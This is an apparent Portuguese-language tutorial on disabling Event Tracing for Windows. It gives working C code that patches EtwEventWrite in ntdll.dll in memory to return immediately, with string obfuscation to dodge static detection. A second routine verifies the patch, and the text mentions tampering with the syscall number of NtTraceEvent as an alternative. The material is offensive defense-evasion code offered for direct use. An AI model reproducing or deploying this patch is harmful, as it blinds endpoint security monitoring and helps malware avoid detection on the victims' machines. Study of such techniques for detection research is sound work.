Patch ETW

O que é o ETW?

O ETW foi introduzido pela primeira vez junto com o Windows 2000, originalmente projetado para fornecer registros detalhados de usuário e kernel, permitindo habilitar ou desabilitar dinamicamente esses registros sem precisar reiniciar o processo alvo.

Olhando a documentação da Microsoft veremos que ela descreve a arquitetura do ETW da seguinte forma:

A API de rastreamento de eventos é dividida em três componentes distintos:

• Controladores, que iniciam e encerram sessões de rastreamento de eventos e habilitam os provedores

• Providers, que geram os eventos

• consumers, que consomem os eventos

Os controladores são restritos a usuários com privilégios de administrador, mas existem algumas ressalvas.

Além dos callbacks, o rastreamento de eventos de inteligência de ameaças do Windows também fornece rastreamento a partir do kernel e permite usar esses rastreamentos de várias maneiras.

O Windows Event Tracing (ETW) fornece um mecanismo para rastrear e registrar eventos gerados por aplicativos em modo de usuário e drivers em modo kernel.

---

Algumas das WinAPIs do ETW são:

• EventWrite e EventWriteEx – Escrevem um evento no fluxo de eventos do ETW.

• StartTraceA e StopTraceA – Iniciam e param uma sessão de rastreamento do ETW.

• QueryAllTraces – Recupera as propriedades de todas as sessões de rastreamento do ETW em execução.

---

Parte de suas funcionalidades está localizada em ntdll.dll, e podemos modificar funções relacionadas ao ETW na memória para alcançar o efeito de impedir a saída de logs.

Nós utilizamos a técnica de corrigir (patch) o método EtwEventWrite para realizar o bypass, o que acaba sendo semelhante ao que é feito com o AMSI. Ao utilizar o IDA para observar as funções exportadas de ntdll.dll, é possível ver que, se modificarmos a primeira instrução do EtwEventWrite para que ela retorne 0, ele deixa de funcionar.

void disableETW(void) {

	unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 };   // xor rax, rax; ret

	DWORD oldprotect = 0;

	size_t size = sizeof(patch);

	HANDLE hCurrentProc = GetCurrentProcess();

	unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l', 0x0 };
	unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };

	void* pEventWrite = GetProcAddress(GetModuleHandleA((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);

	VirtualProtect(pEventWrite, size, PAGE_READWRITE, &oldprotect);

	memcpy(pEventWrite, patch, size / sizeof(patch[0]));

	VirtualProtect(pEventWrite, size, oldprotect, &oldprotect);

	FlushInstructionCache(hCurrentProc, pEventWrite, size);

}

xor rax, rax obtém um valor 0 - é um método comum em assembly para gerar zero. Após o patch no EtwEventWrite, ele não consegue mais escrever eventos para o processo atual.

---

Para verificar se a modificação realmente fez efeito, podemos utilizar um trecho de código que tenta chamar a função EtwEventWrite e observa qual resultado ela retorna.

A ideia é simples: após localizar a função dentro da ntdll.dll, fazemos uma chamada controlada e registramos se ela retorna sucesso, falha ou uma exceção. Isso nos permite identificar se o comportamento padrão da função foi alterado.

Além disso, também podemos inspecionar os primeiros bytes da função em memória para confirmar se houve alguma modificação em relação à implementação original.

void CheckETWStatus() {

    typedef ULONG(NTAPI* EtwEventWrite_t)(ULONG64, void*, ULONG, void*);
    char obf_EtwEventWrite[] = { 'E', 't', 'w', 'E', 'v', 'e', 'n', 't', 'W', 'r', 'i', 't', 'e', 0 };
    char obf_NtDll[] = { 'n', 't', 'd', 'l', 'l', 0 };

    HMODULE hNtdll = GetModuleHandleA(obf_NtDll);
    if (!hNtdll) {
        printf("[-] Falha ao obter handle da ntdll.dll\n");
        return;
    }

    EtwEventWrite_t pEtwEventWrite = (EtwEventWrite_t)GetProcAddress(hNtdll, obf_EtwEventWrite);
    if (!pEtwEventWrite) {
        printf("[-] Falha ao obter endereco de EtwEventWrite.\n");
        return;
    }

    ULONG status = 0;

    // Executa EtwEventWrite e captura possível exceção
    __try {
        status = pEtwEventWrite(0, NULL, 0, NULL); // chama com parâmetros nulos/zero
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        status = 0xC0000005; // código de violação de acesso
    }

    if (status == 0) {  // STATUS_SUCCESS para EtwEventWrite
        printf("[*] EtwEventWrite retornou SUCCESS (0). ETW possivelmente desativado.\n");
    }
    else if (status == 0xC0000005) {
        printf("[*] EtwEventWrite gerou violacao de acesso (0xC0000005). ETW possivelmente desativado.\n");
    }
    else {
        printf("[*] EtwEventWrite retornou 0x%lx. ETW possivelmente funcionando normalmente.\n", status);
    }

    unsigned char* pBytes = (unsigned char*)pEtwEventWrite;
    printf("[*] Primeiros bytes da funcao: %02X %02X %02X %02X\n", pBytes[0], pBytes[1], pBytes[2], pBytes[3]);
}

O resultado que vamos obter será esse:

---

Alterantivas de patch

Existem muitas formas para aplicar um patch no ETW, uma outra forma é alterando o SSN (System Service Number) de NtTraceEvent. Isso funciona porque o SSN é o identificador numérico que o sistema operacional utiliza para localizar a função correta na SSDT (System Service Descriptor Table) durante uma syscall.

O efeito dessa técnica pode ser observado na imagem abaixo: